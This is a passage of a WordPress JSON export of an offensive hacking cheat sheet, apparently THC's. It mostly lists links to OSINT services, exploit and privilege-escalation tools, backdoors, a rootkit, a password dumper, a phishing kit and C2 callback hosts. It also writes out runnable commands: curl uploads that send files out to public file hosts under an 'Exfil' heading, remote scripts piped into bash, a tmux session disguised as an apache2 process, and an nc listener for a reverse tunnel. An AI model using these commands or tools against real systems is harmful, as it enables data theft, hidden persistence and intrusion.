&amp; DNS Lookup from around the world<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/dnsdumpster.com\/\">https:\/\/dnsdumpster.com\/<\/a><\/td>\n<td>Domain Recon Tool<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/crt.sh\/\">https:\/\/crt.sh\/<\/a><\/td>\n<td>TLS Certificate Search<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/archive.org\/web\/\">https:\/\/archive.org\/web\/<\/a><\/td>\n<td>Historical view of websites<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.farsightsecurity.com\/solutions\/dnsdb\/\">https:\/\/www.farsightsecurity.com\/solutions\/dnsdb\/<\/a><\/td>\n<td>DNS search (not free)<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/wigle.net\/\">https:\/\/wigle.net\/<\/a><\/td>\n<td>Wireless Network Mapper<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/radiocells.org\/\">https:\/\/radiocells.org\/<\/a><\/td>\n<td>Cell Tower Information<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.shodan.io\/\">https:\/\/www.shodan.io\/<\/a><\/td>\n<td>Search Engine to find devices &amp; Banners (not free)<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/spur.us\/context\/me\">https:\/\/spur.us\/context\/me<\/a><\/td>\n<td>IP rating `<a href=\"https:\/\/spur.us\/context\/\">https:\/\/spur.us\/context\/<\/a><\/td>\n<\/tr>\n<tr>\n<td>`<\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/drs.whoisxmlapi.com\">http:\/\/drs.whoisxmlapi.com<\/a><\/td>\n<td>Reverse Whois Lookup (not free)<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.abuseipdb.com\">https:\/\/www.abuseipdb.com<\/a><\/td>\n<td>IP abuse rating<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<table>\n<thead>\n<tr>\n<th>OSINT for Detectives<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><a href=\"https:\/\/start.me\/p\/rx6Qj8\/nixintel-s-osint-resource-list\">https:\/\/start.me\/p\/rx6Qj8\/nixintel-s-osint-resource-list<\/a><\/td>\n<td>Nixintel&#8217;s OSINT Resource List<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/github.com\/jivoi\/awesome-osint\">https:\/\/github.com\/jivoi\/awesome-osint<\/a><\/td>\n<td>Awesome OSINT list<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/cipher387.github.io\/osint_stuff_tool_collection\/\">https:\/\/cipher387.github.io\/osint_stuff_tool_collection\/<\/a><\/td>\n<td>OSINT tools collection<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/osintframework.com\/\">https:\/\/osintframework.com\/<\/a><\/td>\n<td>Many OSINT tools<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<table>\n<thead>\n<tr>\n<th>OSINT Databases<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><a href=\"https:\/\/data.ddosecrets.com\/\">https:\/\/data.ddosecrets.com\/<\/a><\/td>\n<td>Database Dumps<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<hr \/>\n<p><a id=\"misc\"><\/a><\/p>\n<h2>13. Miscellaneous<\/h2>\n<p><a id=\"tools\"><\/a>\n<strong>13.i. Tools of the trade<\/strong><\/p>\n<p>Comms<\/p>\n<ol>\n<li><a href=\"https:\/\/www.cs.email\/\">CryptoStorm Email<\/a> &#8211; Disposable emails (send &amp; receive). (List of <a href=\"https:\/\/github.com\/AnarchoTechNYC\/meta\/wiki\/Disposable-email-services]\">Disposable-email-services<\/a>).<\/li>\n<li><a href=\"https:\/\/temp-mail.org\/en\/\">Temp-Mail<\/a> &#8211; Disposable email service with great Web GUI. Receive only.<\/li>\n<li><a href=\"https:\/\/tuta.io\">tuta.io<\/a> or <a href=\"https:\/\/pm.me\">ProtonMail<\/a>\/<a href=\"https:\/\/protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion\/\">.onion<\/a> &#8211; Free &amp; Private email<\/li>\n<li><a href=\"https:\/\/quackr.io\/\">Quackr.Io<\/a> &#8211; Disposable SMS\/text messages (List of <a href=\"https:\/\/github.com\/AnarchoTechNYC\/meta\/wiki\/Disposable-SMS-services\">Disposable-SMS-services<\/a>).<\/li>\n<li><a href=\"https:\/\/sms-man.com\">SMS-Man<\/a> &#8211; Anonymous SMS\/text that work with Signal, WA, and manh others <\/li>\n<li><a href=\"https:\/\/crypton.sh\/\">Crypton<\/a> &#8211; Rent a private SIM\/SMS with crypto (<a href=\"http:\/\/cryptonx6nsmspsnpicuihgmbbz3qvro4na35od3eht4vojdo7glm6yd.onion\/\">.onion<\/a>)<\/li>\n<li><a href=\"https:\/\/kycnot.me\/\">List of &#8220;No KYC&#8221; Services<\/a> (<a href=\"http:\/\/kycnotmezdiftahfmc34pqbpicxlnx3jbf5p7jypge7gdvduu7i6qjqd.onion\/\">.onion<\/a>)<\/li>\n<\/ol>\n<p>OpSec<\/p>\n<ol>\n<li><a href=\"https:\/\/medium.com\/@hackerschoice\/it-security-and-privacy-for-the-rebellions-of-the-world-db4023cadcca\">OpSec for Rebellions<\/a> &#8211; Start Here. The simplest 3 steps.<\/li>\n<li><a href=\"https:\/\/riseup.net\/\">RiseUp<\/a> &#8211; Mail, VPN and Tips for (online) rebellions.<\/li>\n<li><a href=\"https:\/\/cryptpad.fr\">CryptoPad<\/a>\/<a href=\"https:\/\/disroot.org\/eng\">DisRoot<\/a> &#8211; IT infra to stage a rebellion.<\/li>\n<li><a href=\"https:\/\/github.com\/m1k1o\/neko\">Neko<\/a> &#8211; Launch Firefox in Docker and access via 127.0.0.1:8080 (WebRTC)<\/li>\n<li><a href=\"https:\/\/github.com\/mviereck\/x11docker\">x11Docker<\/a> &#8211; Isolate any X11 app in a container (Linux &amp; Windows only). (<a href=\"https:\/\/techviewleo.com\/run-gui-applications-in-docker-using-x11docker\/?expand_article=1\">Article<\/a>)<\/li>\n<li><a href=\"https:\/\/github.com\/freedomofpress\/dangerzone\">DangerZone<\/a> &#8211; Make PDFs safe before opening them.<\/li>\n<li><a href=\"https:\/\/exiftool.org\/\">ExifTool<\/a> &#8211; Remove meta data from files (<code>exiftool -all= example.pdf example1.jpg ...<\/code>)<\/li>\n<li><a href=\"https:\/\/www.eff.org\/\">EFF<\/a> &#8211; Clever advise for freedom figthers.<\/li>\n<\/ol>\n<p>Exploits<\/p>\n<ol>\n<li><a href=\"https:\/\/github.com\/hackerschoice\/ttyinject\">ttyinject<\/a> and <a href=\"#10-session-sniffing-and-hijaking\">ptyspy<\/a> for LPE.<\/li>\n<li><a href=\"https:\/\/github.com\/xaitax\/SploitScan\">SploitScan<\/a> &#8211; Exploit Score &amp; PoC search (by xaitax)<\/li>\n<li><a href=\"https:\/\/github.com\/liamg\/traitor\">Traitor<\/a> &#8211; Tries various exploits\/vulnerabilities to gain root (LPE)<\/li>\n<li><a href=\"https:\/\/packetstormsecurity.com\">PacketStorm<\/a> &#8211; Our favorite site ever since we shared a Pizza with fringe[at]dtmf.org in NYC in 2000<\/li>\n<li><a href=\"https:\/\/www.exploit-db.com\">ExploitDB<\/a> &#8211; Also includes metasploit db and google hacking db<\/li>\n<li><a href=\"https:\/\/exploits.shodan.io\/welcome\">Shodan\/Exploits<\/a> &#8211; Similar to exploit-db<\/li>\n<\/ol>\n<p>System Information Gathering<\/p>\n<ol>\n<li><code>curl -fsSL https:\/\/thc.org\/ws | bash<\/code> &#8211; Show all domains hosted on a server + system-information<\/li>\n<li><a href=\"https:\/\/github.com\/carlospolop\/PEASS-ng\/tree\/master\/linPEAS\">https:\/\/github.com\/carlospolop\/PEASS-ng\/tree\/master\/linPEAS<\/a> &#8211; Quick system information for hackers.<\/li>\n<li><a href=\"https:\/\/github.com\/zMarch\/Orc\">https:\/\/github.com\/zMarch\/Orc<\/a> &#8211; Post-exploit tool to find local RCE (type <code>getexploit<\/code> after install)<\/li>\n<li><a href=\"https:\/\/github.com\/The-Z-Labs\/linux-exploit-suggester\">https:\/\/github.com\/The-Z-Labs\/linux-exploit-suggester<\/a> &#8211; Suggest exploits based on versions on target system <\/li>\n<li><a href=\"https:\/\/github.com\/efchatz\/pandora\">https:\/\/github.com\/efchatz\/pandora<\/a> &#8211; Windows: dump password from various password managers<\/li>\n<\/ol>\n<p>Backdoors<\/p>\n<ol>\n<li><a href=\"https:\/\/www.gsocket.io\/deploy\">https:\/\/www.gsocket.io\/deploy<\/a> &#8211; The world&#8217;s smallest backdoor<\/li>\n<li><a href=\"https:\/\/github.com\/m0nad\/Diamorphine\">https:\/\/github.com\/m0nad\/Diamorphine<\/a> &#8211; Linux Kernel Module for hiding processes and files<\/li>\n<li><a href=\"https:\/\/www.kali.org\/tools\/weevely\">https:\/\/www.kali.org\/tools\/weevely<\/a> &#8211; PHP backdoor<\/li>\n<\/ol>\n<p>Network Scanners<\/p>\n<ol>\n<li><a href=\"https:\/\/github.com\/robertdavidgraham\/masscan\">https:\/\/github.com\/robertdavidgraham\/masscan<\/a> &#8211; Scan the entire Internet<\/li>\n<li><a href=\"https:\/\/github.com\/ptrrkssn\/pnscan\">https:\/\/github.com\/ptrrkssn\/pnscan<\/a> &#8211; Fast network scanner<\/li>\n<li><a href=\"https:\/\/zmap.io\/\">https:\/\/zmap.io\/<\/a> &#8211; ZMap &amp; ZGrab<\/li>\n<\/ol>\n<p>Vulnerability Scanners (be aware: these all yield 99% non-exploitable false positives. They all suck.)<\/p>\n<ol>\n<li><a href=\"https:\/\/github.com\/evyatarmeged\/Raccoon\">Raccoon<\/a> &#8211; Reconnaissance and Information Gathering<\/li>\n<li><a href=\"https:\/\/github.com\/j3ssie\/osmedeus\">Osmedeus<\/a> &#8211; Vulnerability and Information gathering<\/li>\n<li><a href=\"https:\/\/github.com\/fullhunt\/\">FullHunt<\/a> &#8211; log4j and spring4shell scanner <\/li>\n<\/ol>\n<p>DDoS<\/p>\n<ol>\n<li><a href=\"https:\/\/github.com\/the-deepnet\/ddos\">DeepNet<\/a> &#8211; we despise DDoS but if we had to then this would be our choice.<\/li>\n<\/ol>\n<p>Static Binaries \/ pre-compiled Tools<\/p>\n<ol>\n<li><a href=\"https:\/\/bin.pkgforge.dev\">https:\/\/bin.pkgforge.dev<\/a> <a href=\"https:\/\/pkgs.pkgforge.dev\">https:\/\/pkgs.pkgforge.dev<\/a> (<a href=\"https:\/\/github.com\/pkgforge\/soarpkgs\">github<\/a>, <a href=\"https:\/\/github.com\/pkgforge\/soar\">Soar Project<\/a>)<\/li>\n<li><a href=\"https:\/\/github.com\/andrew-d\/static-binaries\/tree\/master\/binaries\/linux\/x86_64\">https:\/\/github.com\/andrew-d\/static-binaries\/tree\/master\/binaries\/linux\/x86_64<\/a><\/li>\n<li><a href=\"https:\/\/lolbas-project.github.io\/\">https:\/\/lolbas-project.github.io\/<\/a> (Windows)<\/li>\n<li><a href=\"https:\/\/iq.thc.org\/cross-compiling-exploits\">https:\/\/iq.thc.org\/cross-compiling-exploits<\/a><\/li>\n<\/ol>\n<p>Phishing<\/p>\n<ol>\n<li><a href=\"https:\/\/github.com\/htr-tech\/zphisher\">https:\/\/github.com\/htr-tech\/zphisher<\/a> &#8211; We don&#8217;t hack like this but this is what we would use.<\/li>\n<li><a href=\"https:\/\/da.gd\/\">https:\/\/da.gd\/<\/a> &#8211; Tinier TinyUrl and allows <a href=\"https:\/\/www.google.com-fish-fish@da.gd\/blah\">https:\/\/www.google.com-fish-fish@da.gd\/blah<\/a><\/li>\n<\/ol>\n<p>Tools<\/p>\n<ol>\n<li><a href=\"https:\/\/github.com\/hackerschoice\/bincrypter\">https:\/\/github.com\/hackerschoice\/bincrypter<\/a> &#8211; Obfuscate &amp; pack <em>any<\/em> Linux binaries<\/li>\n<li><a href=\"https:\/\/github.com\/guitmz\/ezuri\">https:\/\/github.com\/guitmz\/ezuri<\/a> &#8211; Obfuscate Linux binaries (ELF only)<\/li>\n<li><a href=\"https:\/\/tmate.io\/\">https:\/\/tmate.io\/<\/a> &#8211; Share a screen with others<\/li>\n<\/ol>\n<p>Callback \/ Canary \/ Command &amp; Control<\/p>\n<ol>\n<li><a href=\"https:\/\/app.interactsh.com\">https:\/\/app.interactsh.com<\/a><\/li>\n<li><a href=\"https:\/\/api.telegram.org\">https:\/\/api.telegram.org<\/a><\/li>\n<li><a href=\"https:\/\/webhook.site\">https:\/\/webhook.site<\/a><\/li>\n<\/ol>\n<p>Tunneling<\/p>\n<ol>\n<li><a href=\"https:\/\/github.com\/ginuerzh\/gost\/blob\/master\/README_en.md\">Gost<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/sandialabs\/wiretap\">WireTap<\/a> or <a href=\"https:\/\/www.thc.org\/segfault\/wireguard\/\">Segfault&#8217;s WireGuard<\/a>.<\/li>\n<li><a href=\"https:\/\/ngrok.com\/download\">ngrok<\/a>, <a href=\"https:\/\/developers.cloudflare.com\/cloudflare-one\/connections\/connect-apps\">cloudflared<\/a> or <a href=\"https:\/\/pagekite.net\/\">pagekite<\/a> to make a server behind NAT accessible from the public Internet.<\/li>\n<\/ol>\n<p>Exfil<a id=\"cloudexfil\"><\/a><\/p>\n<ol>\n<li><a href=\"https:\/\/github.com\/hackerschoice\/gsocket#blitz\">Blitz<\/a> &#8211; <code>blitz -l<\/code> \/ <code>blitz foo.txt<\/code><\/li>\n<li><a href=\"https:\/\/thc.org\/segfault\">Segfault.net<\/a> &#8211; type <code>exfil<\/code><\/li>\n<li><a href=\"https:\/\/github.com\/cyberbutler\/RedDrop\">RedDrop<\/a> &#8211; run your own Exfil Server<\/li>\n<li><a href=\"https:\/\/mega.io\/cmd\">Mega<\/a><\/li>\n<li><a href=\"https:\/\/oshi.at\/\">oshiAt<\/a> &#8211; also on TOR. <code>curl -T foo.txt https:\/\/oshi.at<\/code><\/li>\n<li><a href=\"https:\/\/0x0.st\">0x0.at<\/a> &#8211; <code>curl -F&#039;file=@foo.txt&#039;  https:\/\/0x0.st\/<\/code><\/li>\n<li><a href=\"https:\/\/transfer.sh\/\">Transfer.sh<\/a> &#8211; <code>curl -T foo.txt https:\/\/transfer.sh<\/code><\/li>\n<li><a href=\"https:\/\/litterbox.catbox.moe\/tools.php\">LitterBox<\/a> &#8211; <code>curl -F reqtype=fileupload -F time=72h -F &#039;fileToUpload=@foo.txt&#039; https:\/\/litterbox.catbox.moe\/resources\/internals\/api.php<\/code>  <\/li>\n<li><a href=\"https:\/\/github.com\/schollz\/croc\">Croc<\/a> &#8211; <code>croc send foo.txt \/ croc anit-price-example<\/code><\/li>\n<li><a href=\"https:\/\/pypi.org\/project\/magic-wormhole\/\">MagicWormhole<\/a><\/li>\n<\/ol>\n<p>Publishing<a id=\"pub\"><\/a><\/p>\n<ol>\n<li><a href=\"https:\/\/valdikss.org.ru\/schare\/\">free BT\/DC\/eD2k seedbox<\/a><\/li>\n<li>Or use \/onion on <a href=\"https:\/\/www.thc.org\/segfault\">segfault.net<\/a> or plain old https with ngrok<\/li>\n<li><a href=\"https:\/\/www.cloudflare.com\">Cloudflare<\/a> &#8211; The Free-Tier allows most things (dns + domains + tunnels).<\/li>\n<li><a href=\"https:\/\/njal.la\">Njal.la<\/a> &#8211; Privacy focused Domain Registrar<\/li>\n<li><a href=\"https:\/\/www.duckdns.org\/\">DuckDNS<\/a> &#8211; Free Domain Names<\/li>\n<li><a href=\"https:\/\/anondns.net\/\">AnonDNS<\/a> &#8211; Free Domain Name (anonymous)<\/li>\n<li><a href=\"https:\/\/www.afraid.org\">afraid.org<\/a> &#8211; Free Dynamic DNS for your domain<\/li>\n<li><a href=\"https:\/\/hostwinds.com\">hostwinds<\/a> &#8211; Pay with crypto<\/li>\n<li><a href=\"https:\/\/unstoppabledomains.com\">unstoppable domains<\/a> &#8211; Pay with crypto<\/li>\n<li><a href=\"https:\/\/dns.he.net\/\">he.net<\/a> &#8211; Free Nameserver service<\/li>\n<li><a href=\"https:\/\/0bin.net\/\">0bin<\/a> \/ <a href=\"https:\/\/paste.ec\">paste.ec<\/a> &#8211; Encrypted PasteBin<\/li>\n<li><a href=\"https:\/\/pad.riseup.net\">pad.riseup.net<\/a> &#8211; Create documents and share them securely<\/li>\n<\/ol>\n<p>Forums and Conferences<\/p>\n<ol>\n<li><a href=\"https:\/\/www.alligatorcon.eu\/\">AlligatorCon<\/a> &#8211; the original<\/li>\n<li><a href=\"https:\/\/0x41con.org\/\">0x41con<\/a><\/li>\n<li><a href=\"https:\/\/tumpicon.org\/\">TumpiCon<\/a><\/li>\n<li><a href=\"https:\/\/0x00sec.org\/\">0x00sec<\/a><\/li>\n<\/ol>\n<p>Telegram Channels<a id=\"channels\"><\/a><\/p>\n<ol>\n<li><a href=\"https:\/\/t.me\/thcorg\">The Hacker&#8217;s Choice<\/a><\/li>\n<li><a href=\"https:\/\/t.me\/thehackernews\">The Hacker News<\/a><\/li>\n<li><a href=\"https:\/\/t.me\/CyberSecurityTechnologies\">CyberSecurity Technologies<\/a><\/li>\n<li><a href=\"https:\/\/t.me\/OffensiveTwitter\">Offensive Twitter<\/a><\/li>\n<li><a href=\"https:\/\/t.me\/Pwn3rzs\">Pwn3rzs<\/a><\/li>\n<li><a href=\"https:\/\/t.me\/vxunderground\">VX-Underground<\/a><\/li>\n<li><a href=\"https:\/\/t.me\/androidMalware\">Android Security \/ Malware<\/a><\/li>\n<li><a href=\"https:\/\/t.me\/cybdetective\">OSINT CyberDetective<\/a><\/li>\n<li><a href=\"https:\/\/t.me\/bookzillaaa\">BookZillaaa<\/a><\/li>\n<\/ol>\n<p>Mindmaps &amp; Knowledge<\/p>\n<ol>\n<li><a href=\"https:\/\/github.com\/CompassSecurity\/Hacking_Tools_Cheat_Sheet\">Compass Sec Cheat Sheets<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/wearecaster\/NetworkNightmare\/blob\/main\/NetworkNightmare_by_Caster.png\">Network Pentesting<\/a><\/li>\n<li><a href=\"https:\/\/orange-cyberdefense.github.io\/ocd-mindmaps\/img\/pentest_ad_dark_2023_02.svg\">Active Directory<\/a><\/li>\n<\/ol>\n<p><a id=\"cool-linux-commands\"><\/a>\n<strong>13.ii. Cool Linux commands<\/strong><\/p>\n<ol>\n<li><a href=\"https:\/\/jvns.ca\/blog\/2022\/04\/12\/a-list-of-new-ish--command-line-tools\/\">https:\/\/jvns.ca\/blog\/2022\/04\/12\/a-list-of-new-ish&#8211;command-line-tools\/<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/ibraheemdev\/modern-unix\">https:\/\/github.com\/ibraheemdev\/modern-unix<\/a><\/li>\n<\/ol>\n<p><a id=\"tmux\"><\/a>\n<strong>13.iii. Tmux Cheat Sheet<\/strong><\/p>\n<table>\n<thead>\n<tr>\n<th><\/th>\n<th>Tmux Cheat Sheet<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Max Buffer<\/td>\n<td><code>Ctrl-b<\/code> + <code>:<\/code> + <code>set-option -g history-limit 65535<\/code><\/td>\n<\/tr>\n<tr>\n<td>SaveScrollback<\/td>\n<td><code>Ctrl-b<\/code> + <code>:<\/code> + <code>capture-pane -S -<\/code> followed by <code>Ctrl-b<\/code> + <code>:<\/code> + <code>save-buffer filename.txt<\/code>.<\/td>\n<\/tr>\n<tr>\n<td>SpyScrollback<\/td>\n<td><code>tmux capture-pane -e -pS- -t 6.0<\/code> to capture pane 6, window 0 of a running tmux. Remove <code>-e<\/code> to save without colour.<\/td>\n<\/tr>\n<tr>\n<td>Clear<\/td>\n<td><code>tmux send-keys -R C-l \\; clear-history -t6.0<\/code> to clear screen and delete scrollback history.<\/td>\n<\/tr>\n<tr>\n<td>Logging<\/td>\n<td><code>Ctrl-b<\/code> + <code>:<\/code> + <code>bind-key P pipe-pane -o &quot;exec cat &gt;&gt;$HOME\/&#039;tmux-#W-#S.log&#039;&quot; \\; display-message &#039;Toggling ~\/tmux-#W-#S.log&#039;<\/code><\/td>\n<\/tr>\n<tr>\n<td><BR>Press <code>Ctrl-b<\/code> + <code>Shift + P<\/code> to start and stop.<\/td>\n<\/tr>\n<tr>\n<td>HiddenTmux<\/td>\n<td><code>cd \/dev\/shm &amp;&amp; zapper -fa &#039;\/usr\/sbin\/apache2 -k start&#039; tmux -S .$&#039;\\t&#039;cache<\/code><\/td>\n<\/tr>\n<tr>\n<td><BR>To attach to your session do <BR><code>cd \/dev\/shm &amp;&amp; zapper -fa &#039;\/usr\/sbin\/apache2 -k start&#039; tmux -S .$&#039;\\t&#039;cache attach<\/code><\/td>\n<\/tr>\n<tr>\n<td>Attach<\/td>\n<td>Start a new tmux, then type <code>Ctrl-b<\/code> + <code>s<\/code> and use <code>LEFT<\/code>, <code>RIGHT<\/code> to preview and select any session.<\/td>\n<\/tr>\n<tr>\n<td>Menu<\/td>\n<td><code>Ctrl-b<\/code> + <code>&gt;<\/code>. Then use <code>Ctrl-b<\/code> + <code>UP<\/code>, <code>DOWN<\/code>, <code>LEFT<\/code> or <code>RIGHT<\/code> to move between the panes.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><a id=\"useful-commands\"><\/a>\n<strong>13.iv. Useful commands<\/strong><\/p>\n<p>Use <code>lsof -Pni<\/code> or <code>netstat -putan<\/code> (or <code>ss -putan<\/code>) to list all Internet (<em>-tu<\/em>) connections.<\/p>\n<p>Use <code>ss -lntp<\/code> to show all listening (<em>-l<\/em>) TCP (<em>-t<\/em>) sockets.<\/p>\n<p>Use <code>netstat -rn<\/code> or <code>ip route show<\/code> to show default Internet route.<\/p>\n<p>Use <code>curl cheat.sh\/tar<\/code> to get TLDR help for tar. Works with any other linux command.<\/p>\n<p>Use <code>curl -fsSL bench.sh | bash<\/code> to speed test a server.<\/p>\n<p>Hacking over long latency links or slow links can be frustrating. Every keystroke is transmitted one by one and any typo becomes so much more frustrating and time consuming to undo. <em>rlwrap<\/em> comes to the rescue. It buffers all single keystrokes until <em>Enter<\/em> is hit and then transmits the entire line at once. This makes it so much easier to type at high speed, correct typos, &#8230;<\/p>\n<p>Example for the receiving end of a revese tunnel:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">rlwrap --always-readline nc -vnlp 1524<\/code><\/pre>\n<p>Example for <em>SSH<\/em>:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">rlwrap --always-readline ssh user@host<\/code><\/pre>\n<hr \/>\n<p><a id=\"hacker\"><\/a><\/p>\n<h2>14. How to become a hacker<\/h2>\n<p>There are many ways but one is:<\/p>\n<ol>\n<li>Use Linux and get proficient with Bash. Learn all Linux commands.<\/li>\n<li>Learn how the Internet works. Install and configure some servers (via shell access).<\/li>\n<li>Understand System Architecture and how an OS works.<\/li>\n<li>Read every book. Ask yourself &#8220;why is it done this way and not the other way?&#8221;.<\/li>\n<li>Read the top 10 articles of <a href=\"https:\/\/www.phrack.org\">Phrack<\/a>. <\/li>\n<li>Join a hacker-channel. Sign up to <a href=\"https:\/\/tryhackme.com\/\">TryHackMe<\/a> or <a href=\"https:\/\/www.hackthebox.com\/\">HackTheBox<\/a>.<\/li>\n<li>Be playful.<\/li>\n<\/ol>\n<hr \/>\n<p><a id=\"others\"><\/a><\/p>\n<h2>15. Other Sites<\/h2>\n<ol>\n<li><a href=\"https:\/\/blog.isosceles.com\/phineas-fisher-hacktivism-and-magic-tricks\/\">Phineas Fisher<\/a> &#8211; No nonsense. Direct. How we like it.<\/li>\n<li><a href=\"https:\/\/gist.github.com\/jaredsburrows\/9e121d2e5f1147ab12a696cf548b90b0\">Hacking HackingTeam &#8211; a HackBack<\/a> &#8211; Old but real talent at work.<\/li>\n<li><a href=\"https:\/\/www.youtube.com\/watch?v=5vRIisM0Op4\">Guacamaya Hackback<\/a><\/li>\n<li><a href=\"https:\/\/www.vx-underground.org\/\">Vx Underground<\/a><\/li>\n<li><a href=\"https:\/\/0xdf.gitlab.io\/2023\/05\/27\/htb-absolute.html\">HTB absolute<\/a> &#8211; Well written and explained attack.<\/li>\n<li><a href=\"https:\/\/github.com\/ForbiddenProgrammer\/conti-pentester-guide-leak\">Conti Leak<\/a> &#8211; Windows hacking. Pragmatic.<\/li>\n<li><a href=\"https:\/\/www.ired.team\/\">Red Team Notes<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/r1cksec\/cheatsheets\">InfoSec CheatSheet<\/a><\/li>\n<li><a href=\"https:\/\/book.hacktricks.xyz\/welcome\/readme\">HackTricks<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/yeyintminthuhtut\/Awesome-Red-Teaming\">Awesome Red Teaming<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/vitalysim\/Awesome-Hacking-Resources\">Hacking Resources<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Hack-with-Github\/Awesome-Hacking\">Awesome Hacking<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/vulhub\/vulhub\">VulHub<\/a> &#8211; Test your exploits<\/li>\n<li><a href=\"https:\/\/www.qubes-os.org\/\">Qubes-OS<\/a> &#8211; Desktop OS focused on security with XEN isolated (disposable) guest VMs (Fedora, Debian, Whonix out of the box)<\/li>\n<\/ol>\n<hr \/>\n<p>Shoutz: ADM, subz\/#9x, DrWho, spoty\nJoin us on <a href=\"https:\/\/t.me\/thcorg\">Telegram<\/a>.<\/p>\n<p><a href=\"https:\/\/www.buymeacoffee.com\/hackerschoice\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.buymeacoffee.com\/assets\/img\/custom_images\/yellow_img.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/www.buymeacoffee.com\/assets\/img\/custom_images\/yellow_img.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" \/><\/div><\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>THC&#8217;s favourite Tips, Tricks &amp; Hacks (Cheat S [&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11],"tags":[26],"class_list":["post-213","post","type-post","status-publish","format-standard","hentry","category-zatan","tag-26"],"_links":{"self":[{"href":"https:\/\/wp.imesl.eu.org\/index.php?rest_route=\/wp\/v2\/posts\/213","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wp.imesl.eu.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wp.imesl.eu.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wp.imesl.eu.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/wp.imesl.eu.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=213"}],"version-history":[{"count":2,"href":"https:\/\/wp.imesl.eu.org\/index.php?rest_route=\/wp\/v2\/posts\/213\/revisions"}],"predecessor-version":[{"id":215,"href":"https:\/\/wp.imesl.eu.org\/index.php?rest_route=\/wp\/v2\/posts\/213\/revisions\/215"}],"wp:attachment":[{"href":"https:\/\/wp.imesl.eu.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=213"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wp.imesl.eu.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=213"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wp.imesl.eu.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=213"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}